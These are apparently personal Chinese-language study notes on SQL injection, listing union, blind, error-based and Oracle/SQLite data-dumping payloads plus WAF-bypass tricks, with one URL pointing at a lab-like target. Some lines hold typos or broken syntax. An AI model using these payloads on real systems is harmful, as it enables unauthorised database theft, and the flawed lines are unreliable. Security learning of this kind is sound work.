SQL注入

1.常见的几种数据库数据库

access

mssql

mysql

sqlsever

oracle

sqlite

2.注入方法和流程

Access

逐字猜解法:

猜表名:exists 指定一个子查询 返回值为布尔类型

eg:and exists(子查询)

猜列名:and (select top 1 len (列名)from 表名 )>n

联合查询:

order by 判断字段

union select 判断显示位

偏移注入:

判断字段数,判断表名,使用*号从后开始代替显示位

1
2
3
4
5
6
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

Mssql(Sqlsevre)

权限:sa/db db_ower/public/

判断数据库类型:

1
2
and ecists (select * from sysobjects)
and exists (select count(*) from sysobjects)

判断数据库版本:

有回显:and =@@version()

无回显:and substr((select @@version),22,4)

判断字段数:order by… / union all select null,不会自动去掉重复 使用时将前查询屏蔽/union自动去重

找回显位:使用null 有字符型和数字型

1
http://xxxxxxxxxxx/new_list.asp?id=-2](http://219.153.49.228:45660/new_list.asp?id=-2) union all select null,(select password from manage),null,null

爆库名:db_name() db_name(1)

爆表名:

1
2
3
4
5
6
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

dbo.sysobjects//存储对象可爆破表 xtype='u' //查看用户表

Mysql

mysql常用语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
select version()#查看mysql版本
select @@global.version_compile_Os #查看当前系统
select user()#查看使用者
select @@basedir()#查询数据库所在位置 可在phpmyadmin提权时获取日志目录
select database() #查询是否选择了数据库

show databases; #查询数据库
use databases_name; #选择数据库
show tables; #查询选择的数据库的表
desc 表名; #查询一个表的结构
create databases 数据库名; #创建数据库
drop databases 数据库名; #删除数据库
create table [ if not exists ] `表名`(
`字段名` 数据类型 数据属性,
`字段名` 数据类型 数据属性,
`字段名` 数据类型 数据属性,
...
`字段名` 数据类型 数据属性 (最后一个字段分隔符, 不能加)
)engine=数据库引擎 default charset=编码类型; #创建数据表
create table new_table like old_tabe 根据存在的表建立新表;
alter table 表名 add 字段 属性 #表中插入字段

mysql中表的属性:

数据属性:

  1. 主键索引 primary key(唯一,一张表推荐一个主键)
  2. 唯一索引 unique(唯一) 主要目的 : 避免数据重复 , 附带提高查询速度 缺点 : 占用磁盘空间
  3. 自增 auto_increment
  4. 非空约束not null (不能为空)
  5. 默认值 default 值 注: 数据属性不写, 默认为 null
  6. 描述 comment ‘描述内容’
  7. 无符号 unsigned(非负限定 ,即不能取负值) 取值范围 0–255

mysql增删改查:

1
2
3
4
5
6
7
8
9
10
插入 insert into 表名() values ()  
删除 delete from 表名 () where 限制条件/ truncate table 表名/
改正 update 表名 set 字段名=值1 、字段名=值2 whele 限制条件
查找 select * / 字段名 from 表名
where +in/not/and/or/between and 限制条件
distinct 过滤重复字段
select distinct 字段名 from 表名
like 匹配字符串
%通配符 (使用/转义) _单个匹配
select 字段名 from 表名 where 字段名 like ‘匹配字符串’

mysql基本函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
count(*) 计数    and 比or 优先级高  
select count(字段) from 表 where 限制条件;
sum(*) avg(*) max(*) min(*)
order by [asc]升序/ [desc]降序
select *from user order by id;
group by 按组排序 重复的限制条件归为一组 只显示一个
select count(*) from user group by sex;
group by 和聚合函数一起使用,可以统计出某些字段在一个分组中的特殊值 和having一起使用 (having和where类似 只是where不能和聚合函数使用)
eg:select sun(grade),gender from student2 group by gender having sum(grade)<300
#将student2表按照garde字段进行分组查询,查询出garde字段值小于300的
limit [offset].记录数 select *from user limit 0,1;
as 取别名 只能是字符串类型 不能是int类型
union 联合查询 只能相同表结构的使用union查询 不相同的会报错 会自动去重 不想自动去重可使用 union all
select rand () 生成0-1直接随机数
selcet floor ()向下取整
select concat() 拼接 字符串/16进制
select concat_ws (分隔符 拼接数据1 拼接数据2)
extractvalue(xml文档名字 xml文档路径) 对xml文档查询
sleep()对数据库进行延时的函数 默认秒
updatexml (目标xml文档 xml路径 更新的内容)
exp ()此函数返回e的x次方的值
length () 返回参数的长度
substr /substring(字符串 起始位置 结束位置) 从字符串s的位置截取长度为length的字符串
acsill ()ord() 返回字符的ascill码 用于盲注
name_conset (字段名 值) 构造一个列
strcmp () 比较字符串 相同为0 不同为1或-1
if (a,b,c)a为真 返回b 否则返回c
benchmark (count expr) 重复计算expr表达式count次 无返回值 构造延时
locate (substr str) /position (substr in str) 返回substr字符串在str中的位置 没有返回0
instr () 与locate/postion 参数位置相反

mysql内置表:

在mysql5.0以上版本内置了information_schema数据库,包含40张表,可利用此库注入取得表名和相关数据。

1
2
3
select schema_name from information_schema.schamata; #查询所有数据库名
select table_name from information_schema.tables;#查询所有表名
select column_name from information_schema.columns; #查询所有列名

mysql注入:

判断注入方式:

  • 单引号报错
  • and 1=1 / and 1=2
  • 1+1 / 1-1
  • or 1=1 / or 1=2

几种注入方式:

数字型注入: http://xxx.com/news.php?id=x

字符型注入: http://xxx.com/news.php?name=’admin’

搜索型注入: get/post

根据提交方式注入: get/ post/ cookie/ http头

执行效果注入: 布尔/时间/报错/联合查询/堆查询

基本流程:

判错 >> 查询字段数 >> union select >> 数据库 表名 字段名

盲注:

基于布尔的盲注:

利用函数构造布尔值返回,判断信息。 eg:substr(version(),2,1)=0

基于时间的盲注:

使用if等构造逻辑判断,根据返回时间判断信息。 eg:if(substr(version()1,1)= 5,sleep(10),1)

基于报错的注入:

  • bigint等数据类型溢出
1
2
3
select (select * from (select user())x);
select !(select * from (select user())x);
select !(select * from (select user())x)+1;

2

1
select exp(~(select*from(select user())x));

~的意思为按位取反,如~0 = 18446744073709551615 大于5.5.53不可用

  • 主键重复
  • 列名重复
  • 几何函数报错

联合查询注入

堆查询注入

基于请求的注入:

  • GET请求注入
  • POST请求注入
  • Cookie注入

1.去掉id=

2.加入javascript:alert(document.cookie=”id=”+escape(“xx”));语句

3.更改xx为id的值 后返回没有id=的页面 观察内容是否相同 相同则为可能有cookie注入

  • xff注入(http头注入)

1

Oracle

判断是否为oracle 数据库

1
2
and (select count(*) from user_tables)>0
and (select count(*) from dual) >0

爆版本信息

1
and 1=2 union all select chr(94)||chr(94)||chr(94)||banner||chr(94)||chr(94)||chr(94),null  from (select rownum r,banner from (select rownum r,banner from v$version where rownum<=1 order by 1 desc) t where r>1-1 order by 1)t where 1=1

爆数据库名

1
2
and 1=2 union select 'null',(select owner from all_tables where rownum=1) from dual   //dual 内置表
and 1=2 union select 'null',(select owner from all_tables where rownum=1 and owner<>'first_dbname') from dual

爆表名

1
and 1=2 union select 'null',(select table_name from user_tables where rownum=1) from dual

爆列名

1
2
and 1=2 union select 'null',(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1) from dual
and 1=2 union select 'null',(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and column_name<>'BRANCH_LEVEL' and rownum=1) from dual

爆数据

1
union select '1','用户名:'||USER_NAME||'密码:'||USER_PWD||'状态:'||STATUS from "sns_users"

Sqlite

猜字段 order by

爆表名

1
+UNION+SELECT+1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

爆列名

1
union SELECT 1,sql,3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='notice_sybase'

爆数据

1
union SELECT 1,title,time,4 FROM notice_sybase

Sql注入中的绕过:

以mysql数据库为例

new_id=1①union②select③1,2,db_name(),④from⑤admin

位置1

其他字符替换空格 %09 %0a %0b %0c %0d %20 %a0

利用注释符号 /* */ #test%0d%0a –+a

利用数学运算以及数据类型

news_id=1.1

new_id=1E0

news_id=\N

位置2

可利用其他控制字符替换空格 %09 %0a %0b %0c %0d %20 %a%09 %0a %0b %0c %0d %20 %a

利用注释符号 /* */ #test%0d%0a –+a

可利用括号 union (select 1,2)

位置3

其他字符替换空格 %09 %0a %0b %0c %0d %20 %a0

利用注释符号 /* */ #test%0d%0a –+a

可利用其他符号:+ - ~ ! @

位置4

可利用其他控制字符替换空格 %09 %0a %0b %0c %0d %20 %a%09 %0a %0b %0c %0d %20 %a

利用注释符号 /* */ #test%0d%0a –+a

可利用数学运算以及数据类型:union select user(),2 0 from admin

union select user(),8eofrom admin

union select user(),\Nfrom admin

位置5

可利用其他控制字符替换空格 %09 %0a %0b %0c %0d %20 %a%09 %0a %0b %0c %0d %20 %a

利用注释符号 /**/ #test%0d%0a –+a

超长数据包pass:

get型请求转post型

content—length 头长度大于4008 正常参数放置在脏数据后面,否则无效

空格替换bypass拒绝传统的%20

协议转换bypass使用表单请求中的multipart/form-data


未完待续……

人们只愿看到自己想看到的一切,分不清是非对错,黑白颠倒。–Hades